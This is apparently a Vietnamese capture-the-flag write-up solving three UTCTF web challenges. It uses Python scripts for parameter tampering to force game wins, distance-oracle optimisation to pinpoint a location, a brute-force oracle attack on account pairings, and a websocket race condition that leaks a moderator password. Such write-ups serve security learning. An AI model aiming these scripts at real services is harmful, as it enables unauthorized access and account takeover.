# Number Champion ![image](https://hackmd.io/_uploads/rJi5t8Shkx.png) Tóm tắt cụ thể là web này bắt ta chơi đoán số sao cho chiến thắng và tăng elo 3000 để gặp người chơi người chơi số 1 trong trò này là geopy với 3000 elo. Và địa chỉ của ngươi chơi này chính là flag. vậy thì điều đầu tiên ta làm sẽ là làm sao để up elo lên 3000 ![image](https://hackmd.io/_uploads/SykZbFSnyx.png) Thì sau 1 khoảng thời gian chơi thì mình phát hiện khi mình đấu ai đó thì nó sẽ gửi gói 1 gói POST ![image](https://hackmd.io/_uploads/Bke0ZYBnJg.png) ```https://numberchamp-challenge.utctf.live/battle?uuid=ab319d05-4fe4-4791-8ad1-c896ad6e148c&opponent=e4ffb640-cfcc-4043-8334-410337ebdcd5&number=123``` Thì gói này có 3 thông số quan trọng. Đầu tiên là ```uuid``` cũng chính là uuid của mình khi mình bấm. Thứ hai là opponent nhìn thì nó cũng giống là uuid nên mình nghĩ đó là uuid của đối thủ. Cuối cùng chính là number thì đây chính là số của mình nhập vào. Như vậy nó tính thắng thua = cách nào ? Hay là thực tế chúng ta luôn thua và đối thủ là auto thắng ? Vậy thì nếu ta đổi uuid của mình cho opponent thì ta sẽ auto thắng sao ? ![image](https://hackmd.io/_uploads/SywAXFrnkx.png) Quả thật là nếu đổi uuid cho thằng đối thủ thì chúng ta sẽ auto thắng .... giờ thì ta chỉ cần viết 1 code cho nó auto chạy để ta thắng thôi ```python= import requests import time API_URL = "https://numberchamp-challenge.utctf.live/battle" PARAMS = { "uuid": "9100eda9-9e62-4194-96ca-28194e9ab7d1", "opponent": "5d239db6-6aa1-49a4-81dd-ad39f13f3e4a", "number": "1" } HEADERS = {"Content-Type": "application/json"} # Tuỳ chỉnh headers nếu cần for i in range(5): response = requests.post(API_URL, params=PARAMS, headers=HEADERS) print(f"Lần {i+1}: {response.status_code} - {response.text}") time.sleep(2) ``` <3 Giờ thì spam đến khi nào gặp top 1 server thôi. Sau khi chơi 1 hồi thì mình đã thử check lại Elo của mình có gặp được top 1 chưa ![image](https://hackmd.io/_uploads/Syda4YBnJg.png) Thì quả thực khi mình đủ Elo thì mình đã gặp top 1 server 3000 elo. Thì ở đây mình có thấy 3 thông số quan trọng. Thứ nhất là distance, thứ hai là lat cuối cùng là lon. Thì lat và lon là 2 thông số để xác định vị trí trên https://google.com/maps/ ![image](https://hackmd.io/_uploads/rys8rKH2Jx.png) Vậy thì giờ ta cần tìm lat và lon sao cho distance = 0 phải không ? Mình đã nghĩ vậy và thử thay đổi lat với lon trên chính gói tin match đó xem sao thì quả thật distance đã thay đổi ![image](https://hackmd.io/_uploads/r1_jrYr2Jg.png) ```python= import requests from scipy.optimize import minimize # URL API BASE_URL = "https://numberchamp-challenge.utctf.live/match" UUID = "5d239db6-6aa1-49a4-81dd-ad39f13f3e4a" # Hàm gửi request đến API để lấy khoảng cách def get_distance(lat, lon): print(f"📍 Kiểm tra tọa độ: lat={lat}, lon={lon}") # Debug params = {"uuid": UUID, "lat": lat, "lon": lon} try: response = requests.post(BASE_URL, params=params, timeout=5) data = response.json() # Kiểm tra nếu API trả về lỗi if "error" in data: print(f"⚠️ API Error: {data['error']}") # Debug return float('inf') # Trả về giá trị rất lớn để thuật toán bỏ qua print(f"✅ Distance: {data['distance']}") # Debug return data["distance"] except requests.exceptions.Timeout: print("❌ Timeout khi gọi API!") return float('inf') # Hàm tối ưu hóa để tìm lat, lon sao cho distance = 0 def find_exact_location(): initial_guess = [30, -85] # Điểm bắt đầu result = minimize(lambda x: get_distance(x[0], x[1]), initial_guess, method="Powell", options={'maxiter': 100}) return result.x # Trả về lat, lon tối ưu # Chạy thuật toán tối ưu best_lat, best_lon = find_exact_location() print(f"🔹 Tọa độ chính xác: lat = {best_lat}, lon = {best_lon}") ``` Mình đã tạo 1 code để nó tự tìm lat với lon sao cho distance = 0 ta chỉ cần chạy và đợi khi nào distance = 0 thôi ![image](https://hackmd.io/_uploads/B1_9PKrnJx.png) giờ ta sẽ lấy 1 lat,lon ra test thử trên googlemap thôi ```lat=39.94041866103855, lon=-82.99669967618532``` ![image](https://hackmd.io/_uploads/H1roYtrhJl.png) Bùm nó chính là 1 quán starbucks ( đôi lúc nó sẽ hơi lệch tí nên bạn phải thử các địa chỉ gần đó nữa nếu flag sai ) nếu flag chính là địa chỉ của người chơi đó vậy thì flag sẽ là **utflag{1059-s-high-st-columbus-43206}** # OTP ![image](https://hackmd.io/_uploads/B1m2FIH3Jx.png) Tóm tắt thì bài này muốn ta tìm flag bằng cách là ghi vào secret sao cho mình với flag giống nhau nhất là mình x flag : 0 ![image](https://hackmd.io/_uploads/HkmljKHnke.png) Mình cũng đã f12 lên tìm xem có gói tin hay gì đặc biệt không thì hoàn toàn không. Vậy nên mình đã nghĩ tới 1 cách là brute force thì ta cần tìm từng chữ sao cho điểm số nó trừ từ từ đến khi ta x flag : 0 là thôi ```python= import requests import random import string import time from concurrent.futures import ThreadPoolExecutor, as_completed # Cấu hình URL và header url = "http://challenge.utctf.live:3725/index.php" headers = { "Origin": "http://challenge.utctf.live:3725", "Content-Type": "application/x-www-form-urlencoded", "Referer": "http://challenge.utctf.live:3725/index.php", "Connection": "keep-alive" } # Hàm gửi request với retry khi gặp lỗi def send_request_with_retry(url, data, retries=3, delay=2): for attempt in range(retries): try: response = requests.post(url, headers=headers, data=data) if response.status_code == 200: return response print(f"Error: {response.status_code}. Retrying...") except requests.RequestException as e: print(f"Request failed: {e}. Retrying...") time.sleep(delay) return None # Trả về None nếu request thất bại hoàn toàn # Hàm đăng ký tài khoản def register_user(username, password): data = f"username={username}&password={password}" response = send_request_with_retry(url, data) return (username, password) if response else None # Chỉ trả về nếu request thành công # Hàm kiểm tra pairing với "flag" def check_pairing(username, password): data = f"username1={username}&username2=flag" response = send_request_with_retry(url, data) if response and f"The pairing for {username} and flag is:" in response.text: # Trích xuất số flag từ response new_flag_number = response.text.split("flag is: ")[1].split()[0] new_flag_number = ''.join(filter(str.isdigit, new_flag_number)) return int(new_flag_number), password return None # Hàm xử lý batch thử nghiệm nhiều ký tự cùng lúc def process_batch(base_password, char_set): results = [] with ThreadPoolExecutor(max_workers=10) as executor: # Đăng ký nhiều tài khoản song song register_futures = {executor.submit(register_user, ''.join(random.choices(string.ascii_lowercase + string.digits, k=8)), base_password + c): c for c in char_set} username_password_pairs = [future.result() for future in as_completed(register_futures) if future.result()] # Kiểm tra pairing song song pairing_futures = {executor.submit(check_pairing, username, password): password for username, password in username_password_pairs} for future in as_completed(pairing_futures): result = future.result() if result: results.append(result) return results # Bắt đầu brute-force flag base_password = "utflag{On3_sT3P_" flag_number = 2000 char_set = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ!@#$%^&*()-_=+[]{}|;:,.<>?/~" while flag_number != 0: print(f"Đang thử với flag_number: {flag_number}") results = process_batch(base_password, char_set) if not results: print("Không tìm thấy cặp hợp lệ. Dừng lại.") break # Tìm flag_number nhỏ nhất (ưu tiên ký tự đúng) lowest_flag_number, lowest_password = min(results, key=lambda x: x[0]) print(f"flag_number nhỏ nhất tìm được: {lowest_flag_number}") base_password = lowest_password print(f"Cập nhật base_password: {base_password}") flag_number = lowest_flag_number print("Hoàn thành! Tìm được flag.") ``` Lâu lâu server reset sẽ bị lỗi thì bạn chỉ cần lấy lại flag gần nhất và để vào cho nó chạy tiếp tục thôi <3 Như vậy là ta sẽ tìm được flag ![image](https://hackmd.io/_uploads/Hk8_hFShkl.png) **utflag{On3_sT3P_4t_4_t1m3}** # Chat ![image](https://hackmd.io/_uploads/rkiU5UBh1x.png) Bắt đầu bài này thì challenge có kêu là /help để bắt đầu nên ta cứ làm theo thôi ![image](https://hackmd.io/_uploads/ryHqj8rh1l.png) ta có /login nhưng cần password để vào mình có thử /users thì phát hiện 2 user quan trọng là admin với moderator ![image](https://hackmd.io/_uploads/H1QCoUrnkl.png) vậy thì có lẽ ta phải tìm password để vào 1 trong 2 account này đúng không ? ? Nhưng mà làm sao ... Ngoài ra còn có 2 channel là log với mod-info nhưng mà vô không được ![image](https://hackmd.io/_uploads/ryR5hLH3kg.png) Mình thử f12 để check xem có gì dùng được không và phát hiện 1 điều đặc biết ![image](https://hackmd.io/_uploads/BJvEh8Snyg.png) Là cứ khoảng thời gian moderator sẽ đăng nhập vào kênh và thông báo vậy thì chúng ta phải tìm cách vào được kênh log để có thể xem được password của moderator mỗi khi moderator vào như vậy. Nhưng mà làm sao ? Bằng cách nào ? Thì sau 1 hồi test các lệnh thì mình phát hiện vài điều là kênh General này được tạo bởi admin và mình thì không có quyền sửa gì hết ![image](https://hackmd.io/_uploads/Sy_BpIB2kg.png) Nên mình có thử tạo 1 channel ![image](https://hackmd.io/_uploads/r1MoT8S2kg.png) Và khi mình là owner của channel đó mình sẽ có quyền chỉnh sửa bất cứ thứ gì ![image](https://hackmd.io/_uploads/r1gyAISnJg.png) Mình thử lệnh /set thì phát hiện là mình có thể set channel.mode thành log như vậy channel của mình sẽ có thể hiện log ? ![image](https://hackmd.io/_uploads/HJofCIH31l.png) Nhưng channel phải hidden và admin-only mới được chỉnh thành log ... Và khi mình thử chỉnh ``` /set channel.hidden true /set channel.admin-only true ``` thì bản thân mình không thể vào được kênh đó nữa ![image](https://hackmd.io/_uploads/Hy73RLrnJl.png) Và sau 1 hồi suy nghĩ thì mình có nghĩ tới Race condition vì mỗi hành động, câu lệnh mình dùng thì nó đều gửi lên websockets vậy thì sẽ ra sao nếu mình gửi cùng lúc nhiều req cho nó thực hiện ? Liệu có phải mình sẽ vừa có thể biến channel đó thành admin-only xong set thành mode log rồi đổi admin-only lại thành false không ? ![image](https://hackmd.io/_uploads/ryOxxwH3yx.png) ```python= import asyncio import websockets async def interact(): headers = { "Sec-WebSocket-Key": "diN3kjEsfNLyMO59SkX+jg==", "Cookie": "web-chat-userid=YefbDsWxq9Ow2b0gT0x32KihSd+T1t8NNaZPu4Cp4f8z5TDltztlrGTS+CxUIdP1" } url = "ws://challenge.utctf.live:5213/socket" async with websockets.connect(url, additional_headers=headers) as ws: await ws.send('/create hoa3-log') await ws.send('/join hoa3-log') await ws.send('/set channel.hidden true') await ws.send('/set channel.admin-only true') await ws.send('/set channel.mode log') await ws.send('/set channel.admin-only false') response = await ws.recv() print(response) asyncio.run(interact()) ``` Đây là code mình dùng để gửi 1 lúc nhiều req thì cụ thể nó sẽ tạo 1 channel xong set hết điều kiện để đổi thành channel đó thành mode log xong set lại tắt admin-only đi như vậy thì channel đó vẫn là channel log nhưng mình vẫn có thể vào ![image](https://hackmd.io/_uploads/BJt_-wBhJl.png) như vậy là hoa3-log đã được tạo giờ ta thử vào xem ![image](https://hackmd.io/_uploads/Bkz0bDShye.png) bùm thành công rồi giờ ta chỉ cần đợi moderator đăng nhập vào là sẽ thấy password ![image](https://hackmd.io/_uploads/SkxXMDBhJg.png) vậy là password của moderator là unbroken-sandpit-scant-unmixable giờ ta chỉ cần dùng ```/login unbroken-sandpit-scant-unmixable``` là sẽ đăng nhập được moderator ![image](https://hackmd.io/_uploads/rJxOMwSnJx.png) ![image](https://hackmd.io/_uploads/Hk5_fDBnye.png) và khi vào mod-info ta chỉ cần /channel là sẽ thấy được flag ![image](https://hackmd.io/_uploads/BJA5zvH2Jl.png) **utflag{32c6FLiaX5in9MhkPNDeYBUY}**